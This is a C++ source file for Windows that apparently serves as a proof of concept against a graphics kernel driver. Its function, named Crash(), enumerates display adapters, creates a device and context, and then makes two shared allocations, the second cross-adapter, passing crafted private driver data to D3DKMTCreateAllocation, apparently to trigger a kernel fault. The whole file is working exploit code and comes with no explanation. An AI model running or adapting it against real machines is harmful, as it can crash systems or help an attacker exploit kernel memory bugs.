#include "stdafx.h"
#include <Windows.h>
#include <d3dkmthk.h>


int Crash()
{
	D3DKMT_ENUMADAPTERS enumAdapter = { 0 };
	D3DKMTEnumAdapters(&enumAdapter);

	D3DKMT_CREATEDEVICE device = { 0 };
	device.hAdapter = enumAdapter.Adapters[1].hAdapter;
	D3DKMTCreateDevice(&device);

	D3DKMT_CREATECONTEXT context = { 0 };
	context.hDevice = device.hDevice;
	context.NodeOrdinal = 0x1;
	D3DKMTCreateContext(&context);

	D3DKMT_CREATEALLOCATION allocation = { 0 };
	allocation.hDevice = device.hDevice;
	allocation.hResource = NULL;
	allocation.NumAllocations = 1;
	D3DDDI_ALLOCATIONINFO2 allocationInfo = { 0 };
	allocationInfo.VidPnSourceId = 0;
	allocationInfo.Flags.OverridePriority = 1;
	allocationInfo.PrivateDriverDataSize = 0x60;
	char privateData[0x60] = { 0 };
	memset(privateData, 0x00, 0x60);
	*(DWORD*)(privateData + 4) = 0x100;
	*(DWORD*)(privateData + 8) = 0x200;
	*(DWORD*)(privateData + 0xc) = 0x700;
	if ((*(DWORD*)(privateData + 0) == 1) || ((*(DWORD*)(privateData + 0x58) & 0x10000) != 0))
	{
		*(DWORD*)(privateData + 8) = 0x1;
		*(DWORD*)(privateData + 0xc) = 0x1;
	}
	*(DWORD*)(privateData + 0x10) = 0x57;
	if (*(DWORD*)(privateData + 0x18) == 0)
	{
		*(DWORD*)(privateData + 0x18) = 0x1;
	}
	if (((privateData[0x58] & 0x1) == 0) && ((privateData[0x58] & 0x10) != 0))
	{
		privateData[0x58] = 0x1;
	}
	allocationInfo.pPrivateDriverData = privateData;
	allocation.pAllocationInfo2 = &allocationInfo;
	allocation.Flags.CreateResource = 1;
	allocation.Flags.CreateShared = 1;
	//allocation.Flags.CrossAdapter = 1;
//	__asm int 3
	D3DKMTCreateAllocation(&allocation);
	//

	D3DKMT_CREATEALLOCATION allocation2 = { 0 };
	allocation2.hDevice = device.hDevice;
	allocation2.hResource = allocation.hResource;
	allocation2.NumAllocations = 1;
	D3DDDI_ALLOCATIONINFO2 allocationInfo2 = { 0 };
	allocationInfo2.VidPnSourceId = 0;
	allocationInfo2.Flags.OverridePriority = 1;
	allocationInfo2.PrivateDriverDataSize = 0x60;
	allocationInfo2.pPrivateDriverData = privateData;
	allocation2.pAllocationInfo2 = &allocationInfo2;
	allocation2.Flags.CreateResource = 1;
	allocation2.Flags.CreateShared = 1;
	allocation2.Flags.CrossAdapter = 1;
//	__asm int 3
	D3DKMTCreateAllocation(&allocation2);

	return 0;
}

int main()
{
	Crash();

    return 0;
}

